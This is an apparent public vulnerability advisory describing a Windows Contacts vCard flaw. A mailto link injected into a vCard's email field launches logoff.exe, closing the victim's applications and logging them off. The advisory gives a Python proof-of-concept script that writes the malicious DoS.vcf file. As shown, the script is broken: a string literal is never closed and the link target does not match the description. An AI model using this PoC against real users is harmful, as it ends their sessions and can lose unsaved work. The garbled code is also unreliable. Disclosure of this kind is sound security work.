[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-VCF-MAILTO-LINK-DENIAL-OF-SERVICE.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.microsoft.com
[Product]
A VCF file is a standard file format for storing contact
information for a person or business.
Microsoft Outlook supports the vCard and vCalendar features.
These are a powerful new approach to electronic Personal Data
Interchange (PDI).
[Vulnerability Type]
Mailto Link Denial Of Service
[CVE Reference]
N/A
[Security Issue]
Windows VCF cards do not properly sanitize email addresses allowing
for HTML injection.
A corrupt VCF card can cause all the users currently opened files
and applications to be closed
and their session to be terminated without requiring any
accompanying attacker supplied code.
This can be done by crafting the Mailto link to point to Windows
"logoff.exe". The corrupt VCF card can then
kill all users applications and also log the target off their
computer, if the VCF card is opened in
using Windows Contacts and the link is clicked.
The logoff.exe executable lives in "C:\Windows\System32" and can terminate applications and log out users without requiring args.
This probably will affect Windows 7 the most as Windows 10 can
possibly default opening VCF files in other programs
like (People). However, users can possibly still choose to open the
VCF in Contacts by right-click the file.
Note, this exploit requires user interaction.
[Exploit/POC]
"VCF_DoS.py"
dirty_vcf=(
'BEGIN:VCARD\n'
'VERSION:4.0\n'
'FN:Session Terminate PoC - ApparitionSec\n'
'EMAIL:<a href="/logoff">
'END:VCARD')
f=open("DoS.vcf", "w")
f.write(dirty_vcf)
f.close()
print "VCF Denial Of Service card created!"
print "By hyp3rlinx"
[POC Video URL]
https://www.youtube.com/watch?v=P4OGN7pZLSg
[Network Access]
Local
[Severity]
Medium
[Disclosure Timeline]
Vendor Notification: January 2, 2020
MSRC : "In order to investigate your report I will need an
explanation on how an attacker could use the information
to exploit another user remotely without the use of social
engineering... As such, this thread is being closed"
: January 3, 2020
January 4, 2020 : Public Disclosure
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